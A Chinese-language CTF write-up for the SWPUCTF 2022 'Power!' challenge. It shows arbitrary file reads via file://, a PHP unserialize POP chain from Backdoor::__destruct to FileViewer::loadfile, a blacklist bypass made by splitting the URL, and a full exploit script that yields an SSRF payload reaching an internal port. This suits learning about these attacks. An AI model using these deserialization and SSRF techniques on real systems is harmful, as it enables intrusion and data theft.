NSS [SWPUCTF 2022 新生赛]Power!
开题。
随便传一个111,后端进行了一个文件包含操作。
输入index.php
,回显了一个不可显示图片。
有点小蒙蔽的,一般这种情况就源码,抓包,扫描。源码里面果然有货。
base解码后是index.php
的源码,同时根据hint,直接传参?source=xxx
就直接回显了源码。
<?php
class FileViewer{
public $black_list = "flag";
public $local = "http://127.0.0.1/";
public $path;
public function __call($f,$a){
$this->loadfile();
}
public function loadfile(){
if(!is_array($this->path)){
if(preg_match("/".$this->black_list."/i",$this->path)){
$file = $this->curl($this->local."cheems.jpg");
}else{
$file = $this->curl($this->local.$this->path);
}
}else{
$file = $this->curl($this->local."cheems.jpg");
}
echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
}
public function curl($path){
$url = $path;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 0);
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
public function __wakeup(){
$this->local = "http://127.0.0.1/";
}
}
class Backdoor{
public $a;
public $b;
public $superhacker = "hacker.jpg";
public function goodman($i,$j){
$i->$j = $this->superhacker;
}
public function __destruct(){
$this->goodman($this->a,$this->b);
$this->a->c();
}
}
if(isset($_GET['source'])){
highlight_file(__FILE__);
}else{
if(isset($_GET['image_path'])){
$path = $_GET['image_path']; //flag in /flag.php
if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
}else{
echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
}
}else if(isset($_GET['path_info'])){
$path_info = $_GET['path_info'];
$FV = unserialize(base64_decode($path_info));
$FV->loadfile();
}else{
$path = "vergil.jpg";
echo '<h2>POWER!!</h2>
<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
}
}
?>
粗略一看,刚刚读取文件的功能是由以下代码实现,过滤了http:
gopher:
glob:
php:
。过滤了 gopher:
不禁让人怀疑要用到SSRF获取内网资源。
怀疑归怀疑,我们先读取以下根目录下/flag
文件和当前目录下flag.php
文件,两个比较常见的存放flag文件。
?image_path=file:///var/www/html/flag.php
当前目录下flag.php
文件存在。解码后是:
<?php
$a = "good job,but there is no flag
i put my flag in intranet(127.0.0.1:65500)
outsider have no permissions to get it
if you want it,then you have to take it
but you already knew the rules
try it";
?>
怀疑属实,要用到SSRF,从内网65500
端口访问web目录下flag.php
回顾一下源码,源码有反序列化点并且类中有SSRF特征代码。
反序列化+SSRF,启动!首先找反序列化链子再找SSRF利用方式。
一、构造链子。(倒着来)
我们的结尾肯定是FileViewer::loadfile()
方法,调用其中的$file = $this->curl($this->local.$this->path);
curl请求任意资源。
FileViewer::__call()
方法能调用FileViewer::loadfile()
方法。
Backdoor::__destruct()
方法能调用FileViewer::__call()
方法。
最终链子是:
Backdoor::__destruct()->
FileViewer::__call()->
FileViewer::loadfile()
二、如何利用SSRF请求内网资源127.0.0.1:65500/flag.php
我们有两个阻碍,一是黑名单过滤,二是__wakeup()
魔术方法。
黑名单过滤很好过。我们请求的地址是$this->local.$this->path
拼接而成,但是只对$this->path
过滤了字符串/flag
,我们使$this->local=127.0.0.1:65500/f
以及$this->path=lag.php
即可绕过过滤。
__wakeup()
魔术方法其实根本不用绕过,FileViewer
实例对象被反序列化后立刻执行__wakeup()
魔术方法,但是在Backdoor::__destruct()
方法中可以对FileViewer->path
重新赋值。这个顺序搞明白了就发现__wakeup()
魔术方法根本限制不了我们。
我一开始的EXP是这样的:
成功导致题目报错:
这是由于反序列化后立马调用了loadfile()
方法,而我们反序列化传进去的是Backdoor
类实例对象,没有这个方法。
反序列化,它是先从里面里面开始反序列话,而不是最外面。通俗讲,就是类A里面的属性是类B,反序列化先反序列化类B再反序列化类A。
内部类属性数量不一致,直接把内部类当垃圾回收,外部类。
外部类属性数量不一致,外部类直接被当成垃圾回收,而内部类正常。
基于以上原理我们,我们再new一个FileViewer
类实例对象,把我们EXP构造的Backdoor
类实例对象随意赋值给新new的FileViewer
类实例对象的任意属性就行。
当然也可以基于以上方法更进一步,用GC回收机制
,payload在base64编码前自己破坏掉一点,使得外部类(新new的FileViewer
类实例对象)直接无效被回收,内部类(Backdoor
类实例对象)正常反序列化被运作getflag。
EXP:
<?php
class FileViewer{
public $black_list = "flag";
public $local = "http://127.0.0.1/";
public $path;
public function __call($f,$a){
$this->loadfile();
}
public function loadfile(){
if(!is_array($this->path)){
if(preg_match("/".$this->black_list."/i",$this->path)){
$file = $this->curl($this->local."cheems.jpg");
}else{ //$this->path不包含字符串"flag"
$file = $this->curl($this->local.$this->path);
}
}else{
$file = $this->curl($this->local."cheems.jpg");
}
echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
}
public function curl($path){
$url = $path;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 0);
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
public function __wakeup(){
$this->local = "http://127.0.0.1/";
}
}
class Backdoor{
public $a;
public $b;
public $superhacker = "hacker.jpg";
public function goodman($i,$j){
$i->$j = $this->superhacker;
}
public function __destruct(){
$this->goodman($this->a,$this->b);
$this->a->c();
}
}
//--------------【以上都是一模一样CV,不用管,没有改】---------------------------
$file=new FileViewer();
$back=new Backdoor();
$back->a=$file;
$back->b="local";
$back->superhacker="127.0.0.1:65500/f";
$back->a->path="lag.php";
$a=new FileViewer();
$a->local=$back;
echo base64_encode(serialize($a));